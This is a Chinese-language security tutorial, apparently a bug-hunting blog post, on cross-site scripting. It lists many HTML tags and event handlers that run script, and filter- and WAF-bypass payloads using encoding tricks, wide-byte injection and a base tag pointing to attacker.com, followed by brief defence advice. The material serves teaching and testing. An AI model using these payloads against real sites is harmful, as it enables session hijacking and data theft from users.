挖洞经验 | 可以被XSS利用的HTML标签和一些手段技巧
字数 1228 2025-08-10 12:18:06

XSS攻击利用技术详解:HTML标签与绕过技巧

一、XSS概述

XSS(跨站脚本攻击)是一种常见的Web安全漏洞,攻击者通过在目标网站上注入恶意脚本,当其他用户访问该网站时,这些脚本会在用户浏览器中执行,从而实现窃取用户数据、会话劫持等恶意目的。

二、可利用的HTML标签及事件

1. 基本可执行标签

<a>标签

<a href="javascript:confirm('a')">点击触发</a>
  • 特点:需要用户点击才会触发

``标签


  • 可用事件:
    • onclick:点击触发
    • onerror:当src加载失败时触发
    • onload:当src加载完成时触发

<video><audio>标签

<video src="#" onclick="javascript:alert('video:onclick')" 
       onerror="javascript:alert('video:onerror')" 
       onload="javascript:alert('video:onload')"></video>

<audio src="#" onclick="javascript:alert('audio:onclick')" 
       onerror="javascript:alert('audio:onerror')" 
       onload="javascript:alert('audio:onload')"></audio>
  • 注意:这些标签中src加伪协议js代码在现代浏览器中通常不能直接触发

<iframe>标签

<iframe src="javascript:alert('iframe')" width="0" height="0"/>
  • 特点:加载时自动执行

2. 表单相关标签

<form action="Javascript:alert('from_action0')">
    <input type="submit" formaction="JaVaScript:alert('from_action2')">
    <input type="image" formaction="JaVaScript:alert('from_action1')">
    <input type="text" onchange="JaVaScript:alert('from_action3')">
</form>
  • 前三个需要点击事件触发
  • onchange在内容改变时触发

3. 其他有效标签及事件

<a onmouseover="javascript:alert('a_onmouseover')">悬停触发</a>
<svg onload="javascript:alert('svg')"></svg>
<body onload="javascript:alert('body')"></body>
<select autofocus onfocus="javascript:alert('select')"></select>
<textarea autofocus onfocus="javascript:alert('textarea')"></textarea>
<keygen autofocus onfocus="javascript:alert('keygen')"></keygen>
<audio><source onerror="javascript:alert('source')"></audio>
  • 特点:加上autofocus属性可以自动触发

三、XSS绕过技巧

1. URL编码双重解码绕过

%编码为%25,当后台对参数进行多次URL解码时可能绕过WAF:

原始:%3Cscript%3Ealert(1)%3C/script%3E
第一次编码:%253Cscript%253Ealert(1)%253C/script%253E

2. Base64编码绕过

将XSS代码转换为Base64格式:

<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgnYmFzZTY0Jyk8L3NjcmlwdD4=">

解码后内容:<script>alert('base64')</script>

3. HTML实体编码绕过

利用HTML实体编码绕过过滤:

<a href="javascript:alert&#40;&#39;123&#39;&#41;">Hello</a>
<a href="j&#97;vascript:alert('123')">Hello</a>
<a href="j&#97;vascript:alert&#0000040;'123'&#41;">Hello</a>

4. 结合eval函数

<a href="j&#97;vascript:eval('&#97;\x6c\x65\x72\x74\x28\x22\x31\x22\x29')">Hello</a>
<a href="j&#97;vascript:eval('&#97;\u0091\x65\x72\x74\x28\x22\x31\x22\x29')">Hello</a>
<a href="j&#97;vascript:eval('&#97;\154\x65\x72\x74\x28\x22\x31\x22\x29')">Hello</a>

5. 控制前端编码

当可以控制charset参数时:

www.example.com/?charset='ISO-2022-JP'&xss=%1b%28%4Aalert(1)

利用浏览器不识别某些编码中的特殊字符来绕过过滤

6. 宽字节绕过

针对GBK等双字节编码环境:

%bf%22onmouseover=alert(1)//

利用宽字节特性破坏原始引号闭合

7. 头部Base绕过

控制<base>标签的href属性:

<head>
    <base href="http://attacker.com/">
</head>

之后所有相对路径都会基于此URL解析

四、实用技巧

1. 使Referer为空

<meta name="referrer" content="never">

或使用iframe嵌入data URI:

<iframe src="data:text/html,<script>alert(1)</script>"></iframe>

2. 注意返回的Content-Type

  • 只有返回text/htmlapplication/xhtml+xml等类型时,浏览器才会解析HTML
  • 不同浏览器对不同类型的处理方式不同

3. 阻止302跳转

http://xss.com:0" onclick="alert(/1/)

使用非常规端口(如0)阻止自动跳转

4. 处理X-XSS-Protection

  • X-XSS-Protection: 0:禁用浏览器XSS过滤器
  • X-XSS-Protection: 1:启用过滤器
  • X-XSS-Protection: 1; mode=block:阻止渲染可能包含XSS的页面

五、防御建议

  1. 对所有用户输入进行严格的过滤和转义
  2. 使用CSP(内容安全策略)限制脚本执行
  3. 设置HttpOnly标志防止通过JavaScript访问Cookie
  4. 实施输入验证和输出编码
  5. 使用现代框架提供的XSS防护机制

六、总结

XSS攻击手段多样且不断演变,防御XSS需要深入了解其工作原理和利用技术。本文介绍了当前主流浏览器中仍可用的XSS触发方式以及多种绕过WAF的技巧,安全开发人员应关注这些技术以构建更安全的Web应用。

XSS攻击利用技术详解:HTML标签与绕过技巧 一、XSS概述 XSS(跨站脚本攻击)是一种常见的Web安全漏洞,攻击者通过在目标网站上注入恶意脚本,当其他用户访问该网站时,这些脚本会在用户浏览器中执行,从而实现窃取用户数据、会话劫持等恶意目的。 二、可利用的HTML标签及事件 1. 基本可执行标签 <a> 标签 特点:需要用户点击才会触发 `` 标签 可用事件: onclick :点击触发 onerror :当src加载失败时触发 onload :当src加载完成时触发 <video> 和 <audio> 标签 注意:这些标签中src加伪协议js代码在现代浏览器中通常不能直接触发 <iframe> 标签 特点:加载时自动执行 2. 表单相关标签 前三个需要点击事件触发 onchange 在内容改变时触发 3. 其他有效标签及事件 特点:加上 autofocus 属性可以自动触发 三、XSS绕过技巧 1. URL编码双重解码绕过 将 % 编码为 %25 ,当后台对参数进行多次URL解码时可能绕过WAF: 2. Base64编码绕过 将XSS代码转换为Base64格式: 解码后内容: <script>alert('base64')</script> 3. HTML实体编码绕过 利用HTML实体编码绕过过滤: 4. 结合eval函数 5. 控制前端编码 当可以控制charset参数时: 利用浏览器不识别某些编码中的特殊字符来绕过过滤 6. 宽字节绕过 针对GBK等双字节编码环境: 利用宽字节特性破坏原始引号闭合 7. 头部Base绕过 控制 <base> 标签的href属性: 之后所有相对路径都会基于此URL解析 四、实用技巧 1. 使Referer为空 或使用iframe嵌入data URI: 2. 注意返回的Content-Type 只有返回 text/html 或 application/xhtml+xml 等类型时,浏览器才会解析HTML 不同浏览器对不同类型的处理方式不同 3. 阻止302跳转 使用非常规端口(如0)阻止自动跳转 4. 处理X-XSS-Protection X-XSS-Protection: 0 :禁用浏览器XSS过滤器 X-XSS-Protection: 1 :启用过滤器 X-XSS-Protection: 1; mode=block :阻止渲染可能包含XSS的页面 五、防御建议 对所有用户输入进行严格的过滤和转义 使用CSP(内容安全策略)限制脚本执行 设置HttpOnly标志防止通过JavaScript访问Cookie 实施输入验证和输出编码 使用现代框架提供的XSS防护机制 六、总结 XSS攻击手段多样且不断演变,防御XSS需要深入了解其工作原理和利用技术。本文介绍了当前主流浏览器中仍可用的XSS触发方式以及多种绕过WAF的技巧,安全开发人员应关注这些技术以构建更安全的Web应用。